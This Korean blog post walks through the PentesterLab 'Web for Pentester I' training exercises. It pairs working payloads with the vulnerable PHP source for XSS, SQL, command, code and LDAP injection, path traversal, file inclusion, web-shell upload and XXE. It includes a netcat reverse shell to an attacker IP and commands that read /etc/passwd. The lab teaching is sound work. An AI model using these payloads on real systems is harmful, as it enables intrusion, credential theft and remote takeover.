- CVE-2014-0094
- File Upload
- NoSQL
- CVE-2010-1622
- Directory traversal
- getCachedIntrospectionResults
- PortSwigger
- XALZ 압축해제
- xss
- Xamarin 분석
- mongoDB
- nginx
- MariaDB
- Hackthebox cat
- mstg
- login form
- JAVA ClassLoader 취약점
- HackTheBox
- CVE-2022-22965
- SeeTheSharpFlag
- HacktheBox Mobile
- UnCrackable level 1
- Android Backup
- UnCrackable
- HackTheBox APKey
- blind sql injection
- Android 6.0
- JSP
- Frida
- DOM
- Today
- Total
끄적끄적
PentesterLab 1 본문
모의 침투 테스팅을 위해 고의적으로 취약한 소스코드로 프로그래밍되어 있는 사이트다.
아래 사이트는 이와 같은 침투 테스트를 위한 ios 파일 및 강좌(영어)를 일부 무료로 제공합니다.
본 포스팅에서는 가장 쉬운 단계인 PentesterLab 1에 대해 작성해보려 합니다.
https://pentesterlab.com/exercises/web_for_pentester/course
PentesterLab: Learn Web App Pentesting!
pentesterlab.com
본 포스팅은 해당 Pentester에 대한 내용만 다루려 합니다.
즉, 각 취약점에 대한 자세한 내용은 다른 포스팅에 정리합니다.
사용도구
Burp Suite or Fiddler, Virtual Machine or VMware etc..
XSS
Example 1
파라미터 값에 기본 XSS 구문 삽입
Payload
/xss/example1.php?name=<script>alert(1)</script>
소스코드 내용 일부
...
<html>
hello
<?php>
echo $_GET["name"];
?>
...
사용자의 GET 요청을 그대로 출력하여 내부에 XSS 구문 삽입이 가능.
Exampe 2, Example 3
문자열("<script>, </script>" 등)을 치환하는 구문을 우회
Payload
/xss/example2.php?name=<script<script>>alert(1)</scrip</script>t>
소스코드 내용 일부
...
<html>
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/","",$name);
$name = preg_replace("/<\/script>/","",$name);
echo $name;
?>
...
1회성 치환으로 중복된 구문을 입력하여 우회가 가능
preg_replace: PHP에서 정규 표현식을 이용하여 값을 치환하는 함수
Example 4
HTML <img> 태그와 onerror 속성을 이용하여 정규표현식 우회
Payload
/xss/example4.php?name=<img src=x onerror=alert(1)>
소스코드 내용 일부
...
if (preg_match('/script/i', $_GET["name"])){
die("error");
}
Hello
<?php echo $_GET["name"]; ?>
정규표현식을 통해 name 파라미터에 "script"라는 문자열이 포함됐을 경우 "error" 메시지를 출력
preg_match: PHP에서 사용하는 정규표현식(리턴 값: 매칭=1, 실패=0)
Example 5 ★
eval, fromCharCode을 이용하여 정규표현식 우회
Payload
/xss/example5.php?name=<script>eval(String.fromCharCode(97,108,101,114,0x74,0x28,0x27,0x30,0x27,0x29))</script>
XSS에서 우회를 위해 쓰이는 함수
eval: 문자열(String)을 자바스크립트로써 동작하도록 변환하는 함수("<"로 시작하는 구문은 실행하지 않습니다)
String.fromCharCode: 자바스트립트의 String 객체로 아스키코드를 문자열로 리턴하는 메소드(10, 16진수 등)
소스코드 내용 일부
...
if (preg_match('/alert/i', $_GET["name"])) {
die("error");
}
...
정규표현식을 통해 name 파라미터에 "alert"라는 문자열이 포함됐을 경우 "error"를 출력
"alert"만을 필터링하고 있기 때문에 "prompt"나 "confirm"을 이용하여 대화 상자를 띄울 수 있다.
Example 6, Example 7
변수(var)에 값을 저장한 뒤 스크립트 실행
Payload
/xss/example6.php?name=hacker";alert(1)//
소스코드 내용 일부
...
Hello
<script>
var $a = "<?php echo $_GET["name"]; ?>";
//공격 구문: ";alert(1)//
//실행 결과: var $a = "";alert(1)//";
</script>
...
"name" 파라미터를 "a" 변수에 저장한다. 스크립트 내부에서 동작하기 때문에 해당 변수 선언을 종료한 뒤 원하는 스크립트 구문을 실행
Example 7: 겹따옴표(")에서 홑 따옴표(')로 변수 저장 방법 변경
Example 8
페이지의 form 태그의 action 속성의 값이 사용자의 입력 값에 따라 달라진다는 점을 이용
Payload
/xss/example8.php/"onmouseover="alert(1)
소스코드 내용 일부
...
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
...
PHP_SELF: 폼을 통해 입력한 값을 다시 현재 페이지에 전송
"PHP_SELF"는 현재 페이지 즉, 현 위치의 URN을 다시 호출하는데 이 과정에서 사용자의 입력값을 "from" 태그 내에 삽입한다. 이때, "onmouseover"와 같은 이벤트 속성을 이용하여 스크립트를 실행
Exmaple 9 ★
Dom Based XSS
Payload
/xss/example9.php#<script>alert(1)</script>
소스코드 내용 일부
...
<script>document.write(location.hash.substring(1));</script>
...
location.hash: 샵("#")을 이용하여 지정한 anchor 값을 출력
substring(1): 첫 번째 문자를 제외한 값을 출력
결과적으로 스크립트에 작성(document.write)하는 값은 "#" 뒤의 문자열이 된다. 따라서 anchor("#") 뒤에 스크립트 구문을 삽입하여 alert을 발생
웹 브라우저마다 사용하는 엔진의 차이가 있기 때문에 Chrome에서는 동작하지 않는다. 자세한 내용은 DOM에 대해 포스팅한 내용을 참고하자
SQL injection
참고: 본 Pentester의 DBMS는 MySQL로 작성되었습니다.
Example 1
문자열을 이용한 쿼리문
Payload
example1.php?name=' or '1' = '1
소스코드 내용 일부
...
$sql = "SELECT * FROM users where name = '";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
//정상 쿼리: SELECT * FROM users where name = 'name'
//Payload Injection 시: SELECT * FROM users where name = '' or '1'='1'
...
Example 2
Payload내 공백(%20)이 있을 시 "ERROR NO SPACE" 출력 -> 공백을 제거하거나 "\t(%09)"를 입력
Payload
example2.php?name='or'1'='1
example2.php?name='%09or%09'1'%09=%09'1
소스코드 내용 일부
...
if (preg_match('/ /', $_GET["name"])){
die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name='";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
...
Example 3
Payload 내 공백문자(%09, %20)이 있을 시, "ERROR NO SPACE" 출력
-> 공백을 제거하거나 "/**/(주석)"을 이용
Paylaod
example3.php?name='or'1'='1
example3.php?name='/**/or/**/'1'/**/=/**/'1
소스코드 내용 일부
...
if (preg_match('/\s+/', $_GET["name"])){
die("ERROR NO SPACE");
}
$sql = "SELECT * FROM users where name = '";
$sql .= $_GET["name"]."'";
$result = mysql_query($sql);
...
\s+: 모든 공백문자(\t, \r, \n, \v, \f)
Example 4
정수형을 이용한 쿼리문
Payload
example4.php?id=1 or 1=1
//다른 index의 값을 호출하는 경우: example4.php?id=1%2b0
소스코드 내용 일부
...
if (!preg_match('/^[0-9]+/', $_GET["id"])){
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id ";
$sql .= $_GET["id"];
$result = mysql_query($sql);
...
^[0-9]+: 숫자이외 문자
덧셈("+")을 이용한 Injection을 수행할 경우, URL 인코딩 필수!
Example 5
Payload
example5.php?id=1 or '1'='1'
example5.php?id=1 or 1=1
소스코드 내용 일부
...
if (!preg_match('/^[0-9]+$/', $_GET["id"])){
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id ";
$sql .= $_GET["id"];
$result = mysql_query($sql);
...
^[0-9]+$: 문자열의 마지막 위치 또는 개행 문자 바로 앞의 숫자가 아닌 값이 1회 이상 일치
Example 6
Payload
example5.php?id=1 or '1'='1'
example5.php?id=1 or 2-1
소스코드 내용 일부
...
if (!preg_match('/[0-9]+$/', $_GET["id"])){
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id ";
$sql .= $_GET["id"];
$result = mysql_query($sql);
...
[0-9]+$: 문자열의 마지막 위치에 숫자가 1회 이상 일치
올바른 정규표현식: ^[0-9]?$
Example 7
정규 표현식에서 다중 라인(/m) 플래그를 사용하기 때문에, 줄바꿈(%0a)을 통해 페이로드 삽입 가능
Payload
example7.php?id=2%0a-1
example7.php?id=2%0a union select * from users
소스코드 내용 일부
...
if (!preg_match('/^-?[0-9]+$/m', $_GET["id"])){
die("ERROR INTEGER REQUIRED");
}
$sql = "SELECT * FROM users where id=";
$sql .= $_GET["id"];
$result = mysql_query($sql);
...
^-?[0-9]+$: 시작 값으로 "-"이 존재하거나 존재하지 않을 수 있으며 끝나는 값으로 숫자가 한번 이상 반복
(?m)^-?[0-9]+$: 멀티 라인에서 위 정규표현식을 만족하는 행을 찾기 때문에 다른 행에 페이로드를 삽입할 수 있음
Example 8
ORDER BY 이하 값은 상수로 간주하기 때문에 작은 따옴표('), 큰 따옴표(") 사용 불가, 백틱(`)으로 인젝션
Payload
example8.php?order=name`,`age
example8.php?order=name` %23
example8.php?order=name` DESC%23
소스코드 내용 일부
...
$sql = "SELECT * FROM users ORDER BY `";
$sql .= mysql_real_escape_string($_GET["order"])."`";
$result = mysql_query($sql);
...
mysql_real_escape_string: addslashes()의 확장버전으로 특수문자(\x00, \n, \r, ', ", \x1a)를 이스케이프(\)하기 위해 사용
%23: 아스키코드로 "#"을 나타내며 MySQL의 주석을 의미
Example 9
백틱(`)을 사용하지 않는 경우 MySQl의 IF 구문을 사용한 정렬(IF 구문내 매개변수 값을 변경하여 컬럼명을 유추할 수 있음)
Payload
example9.php?order=IF(0,name,age)
example9.php?order=IF(1,name,age)
소스코드 내용 일부
...
$sql = "SELECT * FROM users ORDER BY ";
$sql .= mysql_real_escape_string($_GET["order"]);
$result = mysql_query($sql);
...
IF열에 정수와 문자열이 포함된 경우, 문자열을 기반으로 정렬하기 때문에 원하는 결과가 출력되지 않을 수 있음
MySQL의 IF함수: IF(조건, 참, 거짓)
Directory traversal
OS: Debian 6로 진행되었습니다.
Example 1
관리자 도구를 통해 이미지 경로를 확인 후, "/etc/passwd" 경로 진입
Payload
/dirtrav/example1.php?file=../../../../../../etc/passwd
소스코드 내용 일부
...
$UploadDir = 'var/www/files/';
if(!(isset($_GET['file'])))
die();
$file = $_GET['file'];
$path = $UploadDir.$file;
if(!is_file($path))
die();
/* 헤더 관련 일부 생략 */
header('Content-Disposition inline; filename ="' . basename($path) . '";');
$handle = fopen($path, 'rb');
do{
$data = fread($handle, 8192);
if (strlen($data)==0){
break;
}
echo($data);
}while(true);
fclose($handle);
...
isset: 해당 값이 NULL 인지 확인
is_file: 파일일 경우 True, 이외의 데이터일 경우 False를 반환
basename: 전체 경로명을 인수로 받아 파일명을 반환
"file" 파라미터에서 값의 유효성(존재 여부, 파일 여부)을 확인한 뒤 데이터를 읽어 화면에 나타냄
Example 2
Payload
/dirtrav/example2.php?file=/var/www/files/../../../../../etc/passwd
소스코드 내용 일부
...
if(!(isset($_GET['file'])))
die();
$file = $_GET['file'];
if(!(strstr($file,"/var/www/files/")))
die();
if(!is_file($file))
die();
/*헤더 생략*/
$handle = fopen($file,'rb');
...
fclose($handle);
...
strstr(string, search): string 값에서 search 이후의 값을 반환
Example 3
NULL Byte 인젝션(PHP 5.3.4 버전 이후 패치 완료)
Payload
/dirtrav/example3.php?file=../../../../../../etc/passwd%00
소스코드 내용 일부
...
$UploadDir = '/var/www/files/';
if(!(isset($_GET['file'])))
die();
$file = $_GET['file'];
$path = $UploadDir.$file.".png"; //파일명에 "png" 확장자를 추가
$path = preg_replace('\/x00.*/',"",$path);
if(!is_file($path))
die();
/*파일 헤더 생략*/
$handle = fopen($path, 'rb');
...
fclose($handle);
...
확장자를 추가하는 구문을 NULL Byte로 덮어씌워 동작하지 않도록 함
File Include(LFI, RFI)
Example 1
임의의 데이터(예: ')를 입력하여 오류 구문 발생시키기
Warning: include('): failed to open stream: No such file or directory in /var/www/fileincl/example1.php on line 7 Warning: include(): Failed opening ''' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example1.php on line 7
획득 가능 정보
- 스크립트 경로: /var/www/fileincl/example1.php
- 사용된 함수: include()
Payload
RFI: /fileincl/example1.php?page=http://192.168.x.x:888/index.php
= 임의의 웹 서버 생성 및 index.php 코드 작성
LFI: /fileincl/example1.php?page=../../../../etc/passwd
index.php 코드
<?php phpinfo(); ?>
RFI(Remote File Inclusion): 외부의 악성 스크립트를 서버에 전달하여 내부 정보 획득 및 스크립트 실행
LFI(Local File Includsion): 서버 내부의 파일을 파라미터로 전달하여 정보 탈취 및 스크립트 실행
소스코드 내용 일부
...
if($_GET["page"]){
include($_GET["page"]);
}
...
외부 파일을 포함시키는 함수
inlcude(): 같은 파일 여러 번 포함 가능 / 포함할 파일이 없어도 다음 코드 실행
include_once(): 같은 파일(여러 번 포함해도) 한 번만 포함 / 포함할 파일이 없어도 다음 코드 실행
require(): 같은 파일 여러 번 포함 / 포함할 파일이 없으면 다음 코드를 실행하지 않음
require_once(): 같은 파일 한 번만 포함 / 포함할 파일이 없으면 다음 코드를 실행하지 않음
Example 2
임의의 데이터(예: ')를 입력하여 오류 구문 발생시키기
Warning: include('.php): failed to open stream: No such file or directory in /var/www/fileincl/example2.php on line 8 Warning: include(): Failed opening ''.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /var/www/fileincl/example2.php on line 8
획득 가능 정보
- 스크립트 경로: /var/www/fileincl/example2.php
- 사용된 함수: include()
- 입력 값 뒤에 '.php' 확장자가 포함됨
Payload
NULL Byte 사용(PHP 5.3.4 버전 이후 패치 완료)
RFI: /fileincl/example1.php?page=http://192.168.x.x:888/index.php%00
LFI: /fileincl/example2.php?page=../../../../../../../etc/passwd%00
소스코드 내용 일부
...
if($_GET["page"){
$file = $_GET["page"].".php";
$file = preg_replace('/\x00.*/',"",$file);
include($file);
}
...
Code injection
PHP의 명령 실행 함수: system('')
시간 함수: sleep()
Example 1
큰따옴표(")를 삽입하여 에러 구문 확인
Parse error: syntax error, unexpected '!', expecting ',' or ';' in /var/www/codeexec/example1.php(6) : eval()'d code on line 1
획득 가능 정보
- 스크립트 경로: /var/www/codeexec/example1.php
- 사용하는 함수: eval()
Payload
/codeexec/example1.php?name=".system('uname -a');
Time Base: /codeexec/example1.php?name=".sleep(2); echo "Sleep Time";//
추가 페이로드: ".system('uname -a'); $dummy=" Code Injection"; echo $dummy;//
주석 사용: /codeexec/example1.php?name=".system('uname -a');//
페이로드가 동작하지 않을 경우 URL 인코딩 후 수행
소스코드 내용 일부
...
$str = "echo \"Hello ".$GET['name']."!!!\";";
eval($str);
...
Example 2
"order" 파라미터에 큰따옴표(")를 삽입하여 에러 구문 확인
Parse error: syntax error, unexpected '"', expecting T_STRING or T_VARIABLE or '{' or '$' in /var/www/codeexec/example2.php(22) : runtime-created function on line 1 Warning: usort() expects parameter 2 to be a valid callback, no array or string given in /var/www/codeexec/example2.php on line 22
획득 가능 정보
- 스크립트 경로: /var/www/codeexec/example2.php
- 사용하는 함수: usort()
에러 값을 통해 사용자의 입력이 서버 내 함수의 파라미터 값으로 사용될 것으로 유추
Payload
구문 에러: /codeexec/example2.php?order=id;//
경고: /codeexec/example2.php?order=id);}//
공격 구문: /codeexec/example2.php?order=id);}system('uname -a');//
소스코드 내용 일부
...
$sql = "SELECT * FROM users";
$order = $_GET["order"];
$result = mysql_query($sql);
if($result){
while ($row = mysql_fetch_assoc($result)){
$users[] = new User($row['id'],$row['name'],$row['age']);
}
if(isset($order)){
usort($users, create_function('$a, $b', 'result strcmp($a->'.$order.',$b->'.$order.');'));
}
}
usort(array, myfunction): 정의된 비교 함수를 사용하여 배열을 정렬
create_function(string $args, string $code): 전달된 매개변수로 익명의 함수를 만들고 고유한 이름을 반환
Example 3
e(PCRE_REPLACE_EVAL) modifier (PHP 5.5.0 버전 이후 사용되지 않음)
Payload
/codeexec/example3.php?new=system('uname -a);&pattern=/lamer/e&base=Hello lamer
소스코드 내용 일부
...
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
...
preg_replace(Regex pattern, String 1, String 2): String 2에 Regex pattern이 존재할 경우 삭제하고 String 1에 이어 붙임(참고)
주의사항: Regex pattern에 "e" 변경자를 지정하면 preg_replace()는 변경할 문자열을 PHP 코드로 처리하고, 그 결과를 검색된 문자열을 이용하여 치환한다. 작은따옴표, 큰 따옴표, 백 슬래시, NULL 문자는 이스케이프 됨
Example 4
asssert() 구문 내에서 함수를 실행시킬 수 있음(PHP 7.0 버전 이후 패치)
Payload
에러 확인: /codeexec/example4.php?name=hacker'
정상 구문: /codeexec/example4.php?name=hacker'.'
공격 구문: /codeexec/example4.php?name=hacker'.system('uname -a').'
XSS 구문: hacker'.<script>alert(1)</script>.' #XSS 구문은 htmlentities 함수 실행 전 실행됨
소스코드 내용 일부
...
assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);
...
assert(mixed $assertion): 조건(assertion)이 참인 경우 PHP 코드로 출력, 거짓인 경우 경고/에러를 출력, 디버깅에 사용
trim(string $string, string $characters = "\n\r\t\v\0"): 문자열 시작과 끝에서 공백 제거
htmlentities(string $string): HTML 엔티티로 문자 변환
PHP 7.0 이상 assert()에 관한 내용(참고)
Commands injection
HTTP 매개변수를 시스템 명령어로 사용 시 발생
인젝션에 주로 사용되는 쉘 스크립트
백 틱(`): 변수 선언(ex_`test = ls -al` 후 echo $test)
리 다이 랙션(|): 첫 번째 명령어 결과를 두 번째 명령어의 값으로 넘김
AND(&&): 첫 번째 명령어가 성공할 경우 다음 명령 실행
OR(||): 첫 번째 명령어가 실패 시 다음 명령 실행
Sleep [시간/초]: 해당 명령어를 입력하여 파라미터 값이 명령어로 실행되는지 확인하자
Example 1
Payload
명령어 실행 여부: Ridirection: /commandexec/example1.php?ip=127.0.0.1|sleep 3
Ridirection: /commandexec/example1.php?ip=127.0.0.1|cat /etc/passwd
&(인코딩 필수): /commandexec/example1.php?ip=127.0.0.1%26%26cat /etc/passwd
||: /commandexec/example1.php?ip=256.0.0.1||cat%20/etc/passwd
백틱(`): /commandexec/example1.php?ip=256.0.0.1;test=`cat /etc/passwd`;echo $test
백 틱 사용 시 세미콜론(;)으로 명령어를 이어 붙임
소스코드 내용 일부
...
system("ping -c 2 ".$_GET['ip']);
...
Example 2
정규 표현식을 줄바꿈(\n)을 사용하여 우회
Payload
줄바꿈 사용: /commandexec/example1.php?ip=127.0.0.1%0acat%20/etc/passwd
소스코드 내용 일부
...
if(!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/m', $_GET['ip']))){
die("Invalid IP address");
}
system("ping -c 2 ". $_GET['ip'];
/m: 정규표현식의 멀티라인 옵션으로 모든 라인에 표현식에 일치하는 값이 있는지 여부를 확인
Example 3 ★
Reserve Connection
Payload
명령어 실행 여부: /commandexec/example3.php?ip=127.0.0.1|sleep 5
공격자측 NC Listen: nc -l -p 9090 #9090포트로 리스닝 모드
NC 연결 명령어 삽입: /commandexec/example3.php?ip=127.0.0.1;nc 192.168.x.x 9090 -e /bin/sh
소스코드 내용 일부
...
if(!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/m', $_GET['ip']))){
header("Location: example3.php?ip=127.0.0.1");
}
system("ping -c 2 ". $_GET['ip'];
Location Header: 리소스가 리다이렉션 될 주소를 명시
LDAP attack
LDAP(Lightweight Directory Access Protocol)
- 네트워크 상에서 조직이나 개인정보 혹은 파일이나 디바이스 정보 등을 찾아보는 것을 가능하게 만든 소프트웨어 프로토콜
- 네트워크 디렉토리 서비스 표준인 X.500의 DAP(Directory Access Protocol)를 기반으로 경령화
- 비동기 프로토콜: 응답마다 어떤 요청의 응답인지 식별할 수 있는 아이디가 부여
- 사용자, 시스템, 네트워크, 서비스, 애플리케이션 등의 정보를 트리 구조로 저장하여 조회하거나 관리
- SSO(Single-Sign-On) 설루션에서 인증을 위한 백엔드로 자주 사용
Example 1
NULL 바인딩(파라미터 값 없이 전송)
Payload
#으로 주석처리: /ldap/example1.php?#username=&password=
소스코드 내용 일부
...
$ld = ldap_connect("localhost") or die("could not connect to LDAP server");
ldap_set_option($ld, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ld ,LDAP_OPT_REFERRALS, 0);
if($ld){
if(isset($_GET["username"])){
$user = "uid=".$_GET["username"]."ou=people, dc=pentesterlab, dc=com";
}
$lb = @ldap_bind($ld, $user, $_GET["password"]);
if($lb){
echo "AUTHENTICATED";
}
else{
echo "NOT AUTHENTICATED";
}
}
...
ldap_connect(string$host): LDAP 서버에 연결
- LDAP default Port = 389
- LDAP over SSL default Port = 636
ldap_set_option(resource $ldap, int $option, array|string|int|bool $value)
- LDAP_OPT_PROTOCOL_VERSION: LDAP 버전 설정
- LDAP_OPT_PERERRALS: LDAP 서버에서 반환된 참조를 자동으로 따를 것인지 여부
ldap_bind(resource $ldap, string $dn, string $password): 지정된 RDN과 password를 사용하여 LDAP에 연결
- ldap: ldap_connect()에서 반환하는 LDAP 리소스
- 리턴값: True or False
dn 또는 password가 비어 있는 경우 익명으로 바인딩될 수 있음(참고)
Example 2 ★
LDAP 인젝션: LDAP에서 와일드카드("*") 사용 시 하위 문자열이 일치하는 값을 찾는 점을 악용
LDAP 쿼리 구문
OR 구문: (|(cn=[INPUT 1])(cn=[INPUT 2])) #[INPUT 1] or [INPUT 2]
AND 구문 (&(cn=[INPUT 1)(PW=[INPUT 2)) #cn레코드(INPUT 1)에 매치되는 [INPUT 2]의 값이 일치할 경우
Payload
와일드 카드(*) 테스트: /ldap/example2.php?name=hac*&password=hacker #Auth(hacker ID)
비밀번호 변환 추측: /ldap/example2.php?name=hac*&password=hacker* #Unauth
AND(&) 연산을 통해 인증한다는 것을 파악 = (&cn=[INPUT 1])(userPassword=HASH[INPUT2]))
LDAP Query 조건을 참으로 만들고 "%00"을 이용하여 필터 끝을 제거
최종: /ldap/example2.php?name=a*)(cn=*))%00&password=hacker #a로 시작하는 계정 auth
인젝션 결과: (&(cn=a*)(cn=*))%00 )(userPassword=md5(hacker)))
LDAP 엔트리 내부에 임의로 작성한 "name"을 이용한 PoC
: /ldap/example2.php?name=a*)(name=*))%00&password=hacker
소스코드 내용 일부
...
$ld = ldap_connect("localhost") or die ("Could not connect to LDAP server");
...
if($ld){
$pass = "{MD5}".base64_encode(pack("H*",md5($_GET['password'])));
$filter = "(&(cn=".$_GET['name'].")(userPassword".$pass"))";
#$filter = "(&(cn="#a*)(cn=*))%00 인젝션 결과
#%00으로 구문 실행 X:(userPassword".$pass"))";
...
}
else{
$number_returned = ldap_count_entries($ld, $search);
$info = ldap_get_entries($ld, $search);
if($info["count"] < 1){
echo "UNAUTHENTICATED";
}
else{
echo "AUTHENTICATED as";
echo (" ".htmlentities($info[0]['uid'][0]));
}
}
★LDAP 엔트리 고유 식별자를 통해 "cn"외 값으로 사용 가능
- cn: 우리나라의 이름
- sn: 우리나라의 성
- UID: UserID
- DC: 도메인 구성요소 등
File Upload
웹 셸이 포함된 파일을 생성한 뒤 웹 서버에 업로드
- 웹 서버에서 지원하는 확장자를 찾고 필터링을 우회하는 것이 중요
- 파일이 저장되는 위치를 파악해야 함
PHP의 일반적인 WEB Shell Code(webshell.php)
<?php
system($_GET["cmd"]);
?>
Example 1
"webshell.php"파일 업로드 후 명령어 실행
Payload
/upload/images/webshell.php?cmd=cat /etc/passwd
소스코드 내용 일부
...
if(isset($_FILES['image'])){ // 업로드할 파일이 존재하는지 확인
$dir = '/var/ww/upload/images/'; //파일이 업로드될 경로
$file = basename($_FILES['image']['name']; //경로에서 파일명 파싱 후 저장
if(move_uploaded_file($FILES['image']['tmp_name'], $dir.$file)){ //파일 업로드
echo "Upload done";
echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>"
}
else{
echo 'Upload failed';
}
}
Example 2
웹 셸의 파일명 변경(webshell.Php)후 업로드
Paylaod
/upload/images/webshell.Php?cmd=cat /etc/passwd
소스코드 내용 일부
...
if(isset($_FILES['image'])){
$dir = '/var/ww/upload/images/';
$file = basename($_FILES['image']['name'];
if(preg_match('/\.php$/',$file){ //확장자 필터링 구문 추가
die("NO PHP");
}
if(move_uploaded_file($FILES['image']['tmp_name'], $dir.$file)){
echo "Upload done";
echo "Your file can be found <a href=\"/upload/images/".htmlentities($file)."\">here</a>"
}
else{
echo 'Upload failed';
}
}
확장자 변경: .php3, .php4, php5 등
알 수 없는 확장자 사용: php.blah 등 = 이 경우 Apache내에서 확장자 처리를 위해. blah 이후. php 확장자로 이동
XML
Example 1: XEE attacks
일부 XML 파서는 외부 엔터티를 확인하고 XML 메시지를 제어하는 사용자가 리소스에 액세스 할 수 있음
URL 내 파라미터에 XML태그 형식(<, >)으로 전송하는 것을 확인 후 태그를 정상적으로 닫지 않은 상태로 전송하여 에러 구문 확인
파라미터 전송 값
정상 구문: /xml/example1.php?xml=<test>123</test>
변경 구문: /xml/example1.php?xml=<test>123<test>
에러 구문 확인
Warning: simplexml_load_string(): Entity: line 1: parser error
*simplexml_load_string(): 문자열로부터 XML 데이터를 읽는 데 사용됨
이를 통해 웹 서버는 파라미터에서 XML 데이터를 파싱 하여 사용자에게 전송하는 것을 유추할 수 있음
따라서, XEE 공격 구문 입력 시도
Paylaod 시도
/xml/example1.php?xml=<!ENTITY XXE SYSTEM "file:///etc/passwd">
에러 구문 확인
parser error : StartTag: invalid element name in #생략
XML 엔티티를 사용하는 시작 구문이 잘못되어 발생하는 에러로 유추할 수 있음. 따라서 DTD 문법 구문에 따라 페이로드를 재구성함
Paylaod 시도(2)
/xml/example1.php?xml=<!DOCTYPE XEE SYSTEM "file///etc/passwd"><test>%26XEE;</test>
위 페이로드에서 %26은 &를 URL로 인코딩한 값이며, "file///etc/passwd" 데이터를 저장한 값을 XEE 변수에 저장하고자 하였다.
에러 구문 확인
parser error : Entity 'XEE' not defined in #생략
엔티티가 아닌 루트 요소에 데이터를 저장하려 했기 때문에 에러가 발생했다. XML의 외부 참조를 위한 DTD 구문은 다른 포스팅에서 다루기로 한다.
Payload 시도(3)
<!DOCTYPE test[<!ENTITY XEE SYSTEM "file:///etc/passwd">]><test>%26XEE;</test>
페이로드의 일부분을 살펴보면 DTD의 루트 요소의 값을 "test"라 선언하였으며, 엔티티(변수라 생각하면 편하다)의 값을 XEE라 정의하였다.
정상 파라미터 요청에서 <test> 태그를 사용하였기 때문에 "test"라 선언하였지만 다른 루트요소 값을 사용해도 상관없다. 다만 DTD 이후 출력을 위한 XML 태그명과 같아야 한다.
결과적으로 "file:///etc/passwd"(URI Schema)로 요청한 값은 test 요소의 XEE 엔티티에 저장되고 <test>%26 XEE;</test>(==<test>&XEE;</test>를 이용하여 XEE 엔티티의 값을 출력한다.
소스코드 내용 일부
...
Hello
<?php
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
?>
...
Example 2: Xpath attacks
XPath는 XML 문서에서 노드를 선택하는 쿼리 언어로 XML 문서 내 데이터에 접근할 수 있음
SQL Injection과 마찬가지로 부울 논리 연산을 수행할 수 있음
작은 따옴표(')를 삽입하여 에러 구문 확인
파라미터 전송 값
정상 구문: /xml/example2.php?name=hacker
변경 구문: /xml/example2.php?name='
에러 구문 확인
Warning: SimpleXMLElement::xpath(): Invalid predicate in #생략
*Xpath(): XML 문서 쿼리를 실행하여 SimpleXMLElements 개체 반환
에러 구문을 통해 Xpath를 사용한다는 것을 파악한 뒤, SQL 부울 논리 연산 수행
AND 참: /xml/example2.php?name=hacker' and '1'='1 #정상 출력
OR 참: /xml/example2.php?name=hacker' or '1'='1 #정상 출력
AND 거짓: /xml/example2.php?name=hacker' and '1'='0 #출력 X
OR 거짓: /xml/example2.php?name=hacker' or '1'='0 #모든 결과 출력
이후 페이로드 위한 Xpath의 구성은 아래와 같다.
[PARENT NODES]/name[.='[INPUT]']/[CHILD NODES]
현재 나의 노드명은 "name"이며 [INPUT] 구문을 참으로 구성한 뒤 [CHILD NODES]를 대상으로 페이로드를 구성하여 다양한 데이터를 습득할 수 있다.
Xpath 표현식을 주석처리하기 위해선 NULL Byte를 사용할 수 있음
Payload
/xml/example2.php?name=hacker' or '1'='1']%00 '#부울 연산 쿼리와 달리 값만을 가져옴
/xml/example2.php?name='or '1'='1']%00 '#위 결과와 같음
위 페이로드를 사용할 시 "name" 태그 내 데이터가 모두 출력됨
부모 태그에 접근하기 전에 child::node()를 사용하여 아래 자식 태그가 존재하는지 확인해보자
Payload 시도(2): 자식 태그에 노드가 존재하는지
/xml/example2.php?name=' or 1=1]/child::node()%00
이전 패이로드와 같은 결과 값을 출력하는 것으로 보아 자식 노드(데이터)가 존재하지 않음
현재 태그의 부모 태그로 접근하여 자식 노드의 데이터를 살펴보자
Payload 시도(3): 현재 태그의 부모 태그의 노드가 존재하는지
/xml/example2.php?name=hacker' or 1=1]/parent::*/child::node()%00
이 경우 부모 태그의 노드가 모두 출력되는 것을 확인할 수 있음. 또한 이를 활용하여 부모 노드에 찾고자 하는 노드가 존재하는지 확인할 수 있다
Payload 시도(4): 부모 태그의 자식 태그에 내가 찾고자 하는 노드가 존재하는지
/xml/example2.php?name=' or 1=1]/parent::*/password%00 '#노드 존재
/xml/example2.php?name=' or 1=1]/parent::*/name%00 '#노드 존재
/xml/example2.php?name=' or 1=1]/parent::*/message%00 '#노드 존재
위 페이로드를 통해 "password", "name", "message" 이름을 가진 노드가 존재하는 것을 확인할 수 있다.
노드명을 유추하기 어려울 경우 별도의 스크립트를 구성한다.
parent::*와 child::node()를 이용하여 태그 내 노드를 탐색할 수도 있다.
Payload 시도(5): Xpath 내 노드 탐색
/xml/example2.php?name=' or 1=1]/parent::*/parent::*/child::node()/child::node()%00 '#노드 존재
소스코드 내용 일부
...
$x = "<data>
<users>
<user>
<name>hakcer</name>
<message>Hello hacker</message>
<password>pentesterlab></password>
</user>
<user>
<name>admin</name>
<message>Hello admin</message>
<password>s3cr3tP4ssw0rd</password>
</user>
</users>
</data>";
$xml = simplexml_load_string($x);
$xpath = "users/user/name[.='".$_GET['name']."']/parrent::*/message";
$res = ($xml -> xpath($xpath));
while(list( ,$node) = each($res)){
echo $node;
}
...
'Security > Web' 카테고리의 다른 글
[vulnerability] File Upload (0) | 2022.04.25 |
---|---|
[Exploit] 예제 코드 (0) | 2022.03.03 |
[Secure Coding] Prepared Statement 훑어보기 (1) | 2022.01.17 |
